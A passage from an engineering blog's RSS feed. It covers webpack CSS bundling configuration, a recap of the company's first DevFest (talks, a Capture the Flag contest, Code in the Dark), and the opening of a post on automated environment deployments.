pattern, we can whitelist them, to be always included in our final bundled CSS file } }) ].concat(buildPlugins) };</code></pre></div> The above configuration outputs two bundled CSS files i.e. <code class="language-text">css-file-1.min.css</code> &#x26; <code class="language-text">css-file.min.css</code>, and <code class="language-text">css-file-1-8fb1ed.min.css</code> &#x26; <code class="language-text">css-file-2-6ed3c1.min.css</code> if it's a prod build. We are using <a href="https://github.com/webpack-contrib/extract-text-webpack-plugin">ExtractTextPlugin</a>, which extracts text from a bundle, or bundles, into a separate file, along with <a href="https://github.com/webpack-contrib/css-loader">css-loader</a> We faced a very weird issue and thus worth mentioning here explicitly. <code class="language-text">ExtractTextPlugin</code> tries to process URL like in background-image, url(), etc. We need to stop that behavior so we need to set <code class="language-text">url:false</code> inside the options like: <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">options: { url: false }</code></pre></div> Few more plugins that we are using are: <ol> <li><a href="https://github.com/johnagan/clean-webpack-plugin">CleanWebpackPlugin</a> - to remove/clean the styles folder inside the build folder before building</li> <li><a href="https://github.com/danethurber/webpack-manifest-plugin">ManifestPlugin</a> - for generating an asset manifest file with a mapping of all source file names to their corresponding output file This plugin generates a JSON file so that the hash appended(prod build) after a JS file can be later read by another file. Eg. one CSS file is shared among different modules so its hash needs to be stored somewhere to be read later by other modules to update the hash in their corresponding <code class="language-text">index.html</code> files.</li> <li><a href="https://github.com/kevlened/copy-webpack-plugin">CopyWebpackPlugin</a> - to copy individual files or entire directories to the build directory</li> <li><a href="https://github.com/webpack-contrib/purifycss-webpack">PurifyCSSPlugin</a> - to remove unused selectors from the CSS. This plugin was a must for us. So, what we were doing in this entire project earlier was to copy-paste the Parent projects CSS file to this independent project. We followed the same approach because of time-constraints but found this amazing plugin which automatically removes the unused CSS from the bundled CSS files based on the paths of files which uses it. We can even whitelist selectors if classes are appended on run-time or for any other reason. But it is highly recommended to use the PurifyCSS plugin with the Extract Text plugin which we discussed above.</li> <li><a href="https://github.com/NMFR/optimize-css-assets-webpack-plugin">OptimizeCssAssetsPlugin</a> - to optimize/minimize CSS assets</li> </ol> This was all about bundling of CSS file. <h3 id="last-step---automated-scripts-and-provision-to-execute-module-specific-build" style="position:relative;"><a href="#last-step---automated-scripts-and-provision-to-execute-module-specific-build" aria-label="last step automated scripts and provision to execute module specific build permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Last step - Automated scripts and provision to execute module-specific build</h3> First, we created a file to read arguments that could be read in our <code class="language-text">webpack.config.js</code> file via a <code class="language-text">package.json</code> script. <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">// Filename: webpack.env.js // Webpack doesn't pass Webpack env in env variable when using multiple configs, so writing custom code let argv = process.argv || [], // Loop over process arguments and check for --env.mode envArgv = argv.filter(function (arg) { return arg.indexOf('--env.mode') > -1; }), targetModuleArgv = argv.filter(function (arg) { return arg.indexOf('--env.module') > -1; }), env, targetModules = ''; // If match fould, spilt so that exact value can be extracted like 'build'/'local' if (envArgv &amp;&amp; envArgv.length) { env = envArgv[0].split('=')[1]; } if (targetModuleArgv &amp;&amp; targetModuleArgv.length) { targetModules = targetModuleArgv[0].split('=')[1]; } module.exports = { env, targetModules };</code></pre></div> We tweaked our main <code class="language-text">webpack.config.js</code> to make it module-aware. <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">// Filename: webpack.config.js const targetModules = require('./build/webpack.env').targetModules; function executeWebpackConfig(options) { return { devtool: options.devtool === '' ? options.devtool : 'source-map', entry: options.entry, output: options.output, module: options.module, resolve: options.resolve, plugins: options.plugins || [] }; } // Module specific configuration files let multipleConfigs = []; if (targetModules) { let modules = targetModules.split(','); for (var i = 0; i &lt; modules.length; i++) { if (modules[i] === 'moduleA') { multipleConfigs.push(require('./build/moduleA-tasks/webpack.moduleA')); multipleConfigs.push(require('./build/moduleA-tasks/webpack.moduleA.assets')); } if (modules[i] === 'moduleB') { multipleConfigs.push(require('./build/moduleB-tasks/webpack.moduleB')); multipleConfigs.push(require('./build/moduleB-tasks/webpack.moduleB.assets')); } if (modules[i] === 'moduleC') { multipleConfigs.push(require('./build/moduleC-tasks/webpack.moduleC')); } if (modules[i] === 'moduleD') { multipleConfigs.push(require('./build/moduleD-tasks/webpack.moduleD')); multipleConfigs.push(require('./build/moduleD-tasks/webpack.moduleD.assets')); } } } else { multipleConfigs = [ require('./build/moduleA-tasks/webpack.moduleA-main'), require('./build/moduleA-tasks/webpack.moduleA.assets'), require('./build/moduleB-tasks/webpack.moduleB'), require('./build/moduleB-tasks/webpack.moduleB.assets'), require('./build/moduleC/webpack.moduleC'), require('./build/moduleD-tasks/webpack.moduleD'), require('./build/moduleD-tasks/webpack.moduleD.assets') ]; } multipleConfigs.map((config) => { return executeWebpackConfig(config); }); module.exports = multipleConfigs;</code></pre></div> In our <code class="language-text">package.json</code> file, we created different scripts for running either a development build or production-ready build(minification, cache-busting, and purification) and either to run build for all modules or for just selective modules. <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">// Filename: package.json "scripts": { "install": "yarn install --ignore-scripts", "build": "webpack --optimize-minimize --bail --env.mode=build", "dev": "webpack --progress --colors --watch --env.mode=dev --display-error-details", "dev-nowatch": "webpack --progress --colors --env.mode=dev --display-error-details", "dev-moduleA": "webpack --progress --colors --watch --env.mode=dev --env.modules=moduleA", "dev-moduleB": "webpack --progress --colors --watch --env.mode=dev --env.modules=moduleB", "dev-moduleC": "webpack --progress --colors --watch --env.mode=dev --env.modules=moduleB", "dev-moduleAB": "webpack --progress --colors --watch --env.mode=dev --env.modules=moduleA,moduleB", "dev-moduleBC": "webpack --progress --colors --watch --env.mode=dev --env.modules=moduleB,moduleC", "dev-moduleAC": "webpack --progress --colors --watch --env.mode=dev --env.modules=moduleA,moduleC", "lint": "eslint 'src/**/*.js' --cache --config .eslintrc --ignore-path .eslintignore", "lint-fix": "eslint 'src/**/*.js' --fix --cache --config .eslintrc --ignore-path .eslintignore" }</code></pre></div> <h3 id="upgrading-to-code-classlanguage-textwebpack3code" style="position:relative;"><a href="#upgrading-to-code-classlanguage-textwebpack3code" aria-label="upgrading to code classlanguage textwebpack3code permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Upgrading to <code class="language-text">Webpack@3</code></h3> According to Sean T. Larkin in the <a href="https://medium.com/webpack/webpack-3-official-release-15fd2dd8f07b">release blog post</a>: "webpack 3: Official Release!!", migrating from webpack 2 to 3 should involve no effort beyond running the upgrade commands in your terminal. We are using <code class="language-text">Webpack@3.6.0</code> and <code class="language-text">yarn@1.0.2</code> now :) <h3 id="last-but-not-the-least---stepping-towards-a-long-journey" style="position:relative;"><a href="#last-but-not-the-least---stepping-towards-a-long-journey" aria-label="last but not the least stepping towards a long journey permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Last but not the least - Stepping towards a long journey</h3> This was just the beginning of stepping towards researching different technologies and upgrading our tech stack. We have now gradually started writing <code class="language-text">ES6</code> code for that particular project. The experience was tremendous and the team is now working on evaluating other sections where the change could gradually take a form. <h3 id="helpful-resources" style="position:relative;"><a href="#helpful-resources" aria-label="helpful resources permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Helpful resources</h3> <ul> <li><a href="https://blog.madewithenvy.com/getting-started-with-webpack-2-ed2b86c68783">Getting Started with Webpack 2</a></li> <li><a href="https://www.codementor.io/drewpowers/high-performance-webpack-config-for-front-end-delivery-90sqic1qa">Configuring webpack for production: High Performance webpack config</a></li> </ul> <h3 id="feedback" style="position:relative;"><a href="#feedback" aria-label="feedback permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Feedback</h3> Should you have any feedback regarding this article, please share your thoughts via comments. If you like this article, do share it :)</content:encoded><author>Varun Malhotra</author></item><item><title><![CDATA[The First Wingify DevFest]]></title><description><![CDATA["What is the most resilient parasite? Bacteria? A virus? An intestinal worm? An idea. Resilient... highly contagious. Once an idea has taken…]]></description><link>https://engineering.wingify.com//posts/the-first-wingify-devfest/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/the-first-wingify-devfest/</guid><pubDate>Tue, 03 Oct 2017 00:00:00 GMT</pubDate><content:encoded><img src="/images/2017/10/devfest-banner.png"> <blockquote> "What is the most resilient parasite? Bacteria? A virus? An intestinal worm? An idea. Resilient... highly contagious. Once an idea has taken hold of the brain it's almost impossible to eradicate. An idea that is fully formed - fully understood - that sticks; right in there somewhere." -- Cobb(Leonardo DiCaprio), Inception </blockquote> <h3 id="what-is-devfest" style="position:relative;"><a href="#what-is-devfest" aria-label="what is devfest permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>What is DevFest?</h3> On September 9th we had the first instance of our Wingify DevFest. It started with a simple idea, to have a community of fellow techies where everyone could meet, learn something new, share ideas and inspire one another. But we didn't just want to end here. We wanted to have a day where people could celebrate and have a good time. Thus, the Wingify DevFest was born. <h3 id="how-did-we-plan-for-it" style="position:relative;"><a href="#how-did-we-plan-for-it" aria-label="how did we plan for it permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>How did we plan for it?</h3> Though the DevFest happened on 9th September, the preparations had started much before that. In fact, the whole structure of DevFest underwent drastic iterations since we'd first started working on it. Initially, we had simply planned on having a set of internal team members of Wingify as speakers. The rationale behind this was, this being our first DevFest having internal speakers we would help us have a good grasp of the speakers and their content. It would also be easier to organize because we could skip the overhead of finding external speakers. This idea was soon scrapped because we would have had to compromise the interest of our teammates as most of the internal talks had already been watched by the team. The other extreme plan was to have all external speakers, which too was soon ruled out because of the logistics involved. We also knew that some of our own internal speakers had good content which the world should definitely see. Finally, we agreed upon having an all external speakers list and keep the internal speakers as backup, should the need arise any time. And thank God we did, because as you'll soon find out, we did have to use the fallback. Amidst the initial confusion of finding the ideal number and type of speakers, there was still an extreme clarity within the organizing team about the other events that we wanted to have. More on that later. <h3 id="deciding-on-the-theme" style="position:relative;"><a href="#deciding-on-the-theme" aria-label="deciding on the theme permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Deciding on the theme</h3> Organizing the first of a series always has its own set of challenges and uncertainties. For us, the main challenge, which was a crucial factor in almost all of our decision making, from the topic for the DevFest to even deciding what swag should we have, was identifying our target audience. Unlike some major tech cities like Bangalore, Hyderabad where the majority of folks are working professionals, Delhi has a beautiful eclectic mixture of working professionals and college students. In fact, the number of engineering colleges in Delhi are mind blowing. This translates to the fact that in most of the meetups and communities there's a mixture of both the streams. Extrapolating from this fact, we concluded that we too could expect a mixture of both the classes. The challenge with that was to find a theme suitable enough to resonate with all the members. Performance, Reliability and Security was the perfect topic because everyone, at some point in the college/professional life, has had a requirement to know deeper about it. With a balanced set of talks on this theme, we could achieve a point which would keep both the parties interested. <h3 id="picking-speakers" style="position:relative;"><a href="#picking-speakers" aria-label="picking speakers permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Picking speakers</h3> With the topic of the DevFest clear, finding speakers was the next challenge, or so we thought. On 27th July we started campaigns on several social media channels, meetups and also word of mouth to find the best tech speakers in Delhi. It was a 15-day campaign and by the time it ended we were ecstatic. There were more than 20 entries and some even tried to register after the deadline. Not bad for the first time 🙂. After several meetings and discussions, we finally narrowed down to 3 final speakers. We had even sent them the invitation. Too easy, we thought. One week before the event 2 of our speakers backed out because of inevitable issues. There was a DEFCON 1 emergency declared in our nation! Everyone went on a rampage. Well, maybe I'm exaggerating a bit, it wasn't DEFCON 1 because we didn't have nuclear weapons, but you get the drift. In that frenzy we sought out the internal speakers. Things could've gone really south if we didn't have an existing plan B. Though, we eventually ended up having four speakers instead of three because an earlier backed out speaker managed to join back and, so, we were more than happy to re-adjust the schedule. These were the speakers who finally spoke <ol> <li><a href="https://twitter.com/atulagarwal">Atul Agarwal</a> (co-CEO, AdPushup) as the Keynote Speaker</li> <li><a href="https://twitter.com/shadyshandilya">Saurabh Shandilya</a> spoke on ToR 101</li> <li><a href="https://twitter.com/pathaniadeepak7">Deepak Pathania</a> spoke on Performance Optimization for the mobile web</li> <li><a href="https://twitter.com/hellonehha">Neha Sharma</a> spoke on Web apps and Performance</li> <li><a href="https://twitter.com/mgill25">Manish Gill</a> spoke on <a href="https://speakerdeck.com/mgill25/lessons-in-scalability">Gyaan in Scalability</a></li> </ol> <div id="devfest-speakers-gallery"> <img src="/images/2017/10/devfest-speakers-1.jpg"> <img src="/images/2017/10/devfest-speakers-2.jpg"> <img src="/images/2017/10/devfest-speakers-3.jpg"> <img src="/images/2017/10/devfest-speakers-4.jpg"> <img src="/images/2017/10/devfest-speakers-5.jpg"> </div> <h3 id="organising-interactive-events" style="position:relative;"><a href="#organising-interactive-events" aria-label="organising interactive events permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Organising interactive events</h3> At Wingify, we frequently have internal technical events that keep our wits sharp. Since one of the inherent idea of the DevFest was to keep it interactive for everyone, what better way than to include a few of these events in the schedule as well. Selecting the events was as easy as looking back at list of previous year's events and adding the ones which were liked by majority of team members. The finalists were <a href="http://engineering.wingify.com/posts/code-in-the-dark/">Code in the Dark</a> and <a href="http://engineering.wingify.com/posts/wingify-capture-the-flag/">Capture the Flag</a>. <h3 id="the-day" style="position:relative;"><a href="#the-day" aria-label="the day permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>The Day</h3> The day before The Day we stayed back late in the office. The previous week had been taxing because of the whole speakers backing out fiasco and also because the organising team had been really busy releasing the new <a href="https://vwo.com/">VWO Conversion Optimization Platform</a> to general public! Thus, there were several logistics that had to be taken care of on the last day. Everyone went late that day yet returned back early the next morning. September 9th, our spirits were high. No, we weren't high (at least not until the events lasted), we were giddy. Everything was set. The initial slow pouring of the attendees soon gained pace and by 11 am our office was packed and ready for some action. It was a good mixture of energetic college folks and knowledgeable professionals, each trying to find like-minded counterparts to talk ideas. Thanks to <a href="https://twitter.com/akashtyagi027">Akash Tyagi</a>, we had some really cool banners installed all over the place. In fact, right from the beginning he had been the guy who'd designed the banners, logos and social media cards etc., which everyone greatly admired. <a href="https://twitter.com/atulagarwal">Atul Agarwal</a> had accepted our request to be the Keynote Speaker for the event. His talk on performance, reliability and security, was full of wisdom that he had garnered on his journey to make AdPushup a successful and formidable ad-revenue optimization company in its space. He went on about how most companies, in a haste to launch feature after feature, often forget the aspects of performance, reliability and security, which later bites them back. Sometimes overlooking such aspects costs companies a fortune and, even worse, respect of their clients. Immediately succeeding him was <a href="https://twitter.com/shadyshandilya">Saurabh Shandilya</a>, who spoke about the ToR network. His talk cleared some of the misconceptions that people have about ToR and through his articulate speech he managed to convince many people to try it out. Not only that, he even managed to convince some folks who'd already tried it earlier and given up, to give it another shot. Next in line was <a href="https://twitter.com/pathaniadeepak7">Deepak Pathania</a>. Although Deepak says that it was his first ever talk, we have our doubts. We've seen seasoned speakers get uncomfortable on the stage but Deepak didn't break a sweat. He spoke about the Google Amp project and why it's a viable optimization strategy for your mobile pages. He also went ahead and gave some example on how to quickly start a project with Google Amp. With a quick lunch, after Deepak's talk, it was Capture the Flag time! <a href="https://twitter.com/dheerajhere">Dheeraj Joshi</a> from the organising team, had managed to craft some mind-tickling questions for the participants to rack their brains on. For the next two hours everyone was glued to the event, trying to find ways to get to the hidden flags. At the end of the day, Capture the Flag turned out the be the star attraction of the DevFest. <div id="devfest-capture-the-flag-gallery"> <img src="/images/2017/10/devfest-ctf-1.jpg"> <img src="/images/2017/10/devfest-ctf-2.JPG"> </div> Succeeding the CTF, was <a href="https://twitter.com/hellonehha">Neha Sharma</a> who spoke about Web Apps and Performance. Neha is a tech speaker and founder of the renowned JSLovers Community and we were lucky to have her in the list of speakers. Given the breadth of her topic and the limited time she had for her talk, she could only give an abridged snippet of how developers can improve their website's' performance by using several best practices. After Neha it was <a href="https://twitter.com/mgill25">Manish Gill's</a> turn. Manish is a fellow Wingifighter who rose up to the challenge to speak at the DevFest when some external speakers had backed out. He works in the Data Layer team in Wingify, the team which manages the performance and scalability of data collection and retrieval aspect of our application. Having worked on challenging scalability problems and having experience in giving public talks, he was the ideal candidate to represent Wingify. Manish did deliver an insightful talk about how we've used Postgres and Kafka to scale to the tune of 20k requests per second. We finally finished the day with Code in the Dark. It was a long long day, and we're glad we chose to end with it. Our in-house DJ, <a href="https://twitter.com/creativebakchod/">Ashish Bardhan</a>, played the best of the best Techno music that we could've asked for. The dark settings along with the laser lights and the music set the right ambience to get the adrenaline pumping. It was intense! By the time the Code in the Dark ended everyone was rejuvenated. <div id="devfest-code-in-the-dark-gallery"> <img src="/images/2017/10/devfest-citd-1.JPG"> <img src="/images/2017/10/devfest-citd-2.JPG"> <img src="/images/2017/10/devfest-citd-3.JPG"> </div> All that, in one day. Achievement level: 50,000. <h3 id="how-did-we-fare" style="position:relative;"><a href="#how-did-we-fare" aria-label="how did we fare permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>How did we fare?</h3> There were many things we did well, and there were many things we could've done better. Our sound system, definitely, frustrated some of the speakers and audience members. It malfunctioned multiple times and broke the flow of the speakers. We should've also provided a visual timer for the speakers so they could keep a track of their talk. It wasn't the smoothest event, I agree but what doesn't kill you makes you stronger. With these learnings we'll be better prepared to have a smoother DevFest next time. Some moments captured during the DevFest: <div id="devfest-day-gallery"> <img src="/images/2017/10/devfest-gallery-1.JPG"> <img src="/images/2017/10/devfest-gallery-2.JPG"> <img src="/images/2017/10/devfest-gallery-3.JPG"> <img src="/images/2017/10/devfest-gallery-4.JPG"> <img src="/images/2017/10/devfest-gallery-5.jpg"> <img src="/images/2017/10/devfest-gallery-6.JPG"> <img src="/images/2017/10/devfest-gallery-7.JPG"> <img src="/images/2017/10/devfest-gallery-8.JPG"> <img src="/images/2017/10/devfest-gallery-9.JPG"> <img src="/images/2017/10/devfest-gallery-10.JPG"> </div> <h3 id="conclusion" style="position:relative;"><a href="#conclusion" aria-label="conclusion permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Conclusion</h3> Our quest to have a community of like-minded people has just started. The first instance of the DevFest has been a stepping-stone for us and it'll only get better from here. Stay tuned for the next DevFest. It's going to be legen..... wait for it! PS: A big shoutout to the members of the organising team; <a href="https://twitter.com/akashtyagi027">Akash Tyagi</a>, <a href="https://twitter.com/dheerajhere">Dheeraj Joshi</a>, <a href="https://twitter.com/notjustbond">Jatin Makhija</a>, <a href="https://twitter.com/chinchang457">Kushagra Gour</a>, <a href="https://twitter.com/sahilbathla">Sahil Bathla</a> and also the volunteers for all the hard work they’ve put into making the DevFest a success.</content:encoded><author>Dinkar Pundir</author></item><item><title><![CDATA[Automated environment deployments]]></title><description><![CDATA[Shipping a bug-free feature is always important in every release. To ensure this, we do quality analysis(QA) at various points of the…]]></description><link>https://engineering.wingify.com//posts/automated-environment-deployments/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/automated-environment-deployments/</guid><pubDate>Fri, 22 Sep 2017 00:00:00 GMT</pubDate><content:encoded>Shipping a bug-free feature is always important in every release. To ensure this, we do quality analysis(QA) at various points of the feature cycle. To facilitate an efficient QA, we also maintain certain environments for our app, each serving a different purpose. We have the following environments to be specific: <ol> <li>Production - The actual live app.</li> <li>Staging - A replica of the production where final sign-off QA is done just before going live.</li> <li>Test - A quick deployable environment which can be used by developers to share the WIP feature branch with anyone in the company or among other developers.</li> </ol> With multiple features in development simultaneously and multiple environments to deploy, automated deployment becomes very important to ensure frictionless and fast feature lifecycle. In this post, I'll try to explain how to manage all these environment deployments through automation, especially for our product VWO. <h2 id="tests" style="position:relative;"><a href="#tests" aria-label="tests permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tests</h2> As mentioned above, tests are very lightweight environments which developers generally create to share their WIP feature branch with other developers, QA or someone from marketing/product to gather feedback. Our app consists of various components: frontend, main-backend and various other micro-services. So each test environment is a combination of different branches from each of the constituent components. For example our app have following components: frontend, backend and Service-1. So our tests can look like: Test #1 - master (frontend) + feature-notifications (backend) + master (service-1) Test #2 - feature-auth (frontend) + feature-auth (backend) + master (service-1) And as these tests should have a unique sharable URL, they can be given names like: <code class="language-text">feat1.vwo.com</code> or <code class="language-text">heatmap-optimizations.vwo.com</code> <h3 id="deployment" style="position:relative;"><a href="#deployment" aria-label="deployment permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 